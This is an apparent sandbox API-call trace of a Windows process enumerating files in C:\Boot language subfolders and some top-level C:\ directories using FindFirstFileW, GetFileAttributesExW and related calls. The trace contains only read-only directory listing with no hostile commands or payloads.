	[0240.319] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0240.319] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.319] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12558)) returned 1
	[0240.320] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.320] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6b5aca, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f4373a, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1
	[0240.321] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.321] GetFileAttributesExW (in: lpFileName="C:\\Boot\\uk-UA" (normalized: "c:\\boot\\uk-ua"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.321] CreateFileW (lpFileName="C:\\Boot\\uk-UA" (normalized: "c:\\boot\\uk-ua"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.321] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.321] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.322] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.322] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.322] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.322] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.322] GetFileAttributesExW (in: lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0240.322] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.322] GetFileAttributesExW (in: lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236)) returned 1
	[0240.359] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.359] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.360] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.361] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd460
	[0240.361] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.361] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.361] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.361] FindNextFileW (in: hFindFile=0x192c63cd460, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.361] FindClose (in: hFindFile=0x192c63cd460 | out: hFindFile=0x192c63cd460) returned 1
	[0240.361] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.362] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960)) returned 1
	[0240.362] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.362] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0)) returned 1
	[0240.363] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.363] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.363] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.364] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0240.364] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.364] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.365] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.365] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.365] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0240.365] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.365] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958)) returned 1
	[0240.398] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.398] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558)) returned 1
	[0240.398] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.398] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.399] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.399] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd640
	[0240.399] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0240.399] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0240.399] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0240.399] FindNextFileW (in: hFindFile=0x192c63cd640, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0240.400] FindClose (in: hFindFile=0x192c63cd640 | out: hFindFile=0x192c63cd640) returned 1
	[0240.400] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0240.400] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960)) returned 1
	[0240.400] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.400] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598)) returned 1
	[0240.401] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0240.401] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.403] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x120
	[0240.403] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc000031a44 | out: lpFileInformation=0xc000031a44) returned 1
	[0240.403] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc000031a28, dwBufferSize=0x8 | out: lpFileInformation=0xc000031a28) returned 1
	[0240.403] CloseHandle (hObject=0x120) returned 1
	[0240.403] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0240.404] GetFileAttributesExW (in: lpFileName="C:\\ESD" (normalized: "c:\\esd"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0240.419] SetEvent (hEvent=0x124) returned 1
	[0240.419] CreateFileW (lpFileName="C:\\ESD" (normalized: "c:\\esd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
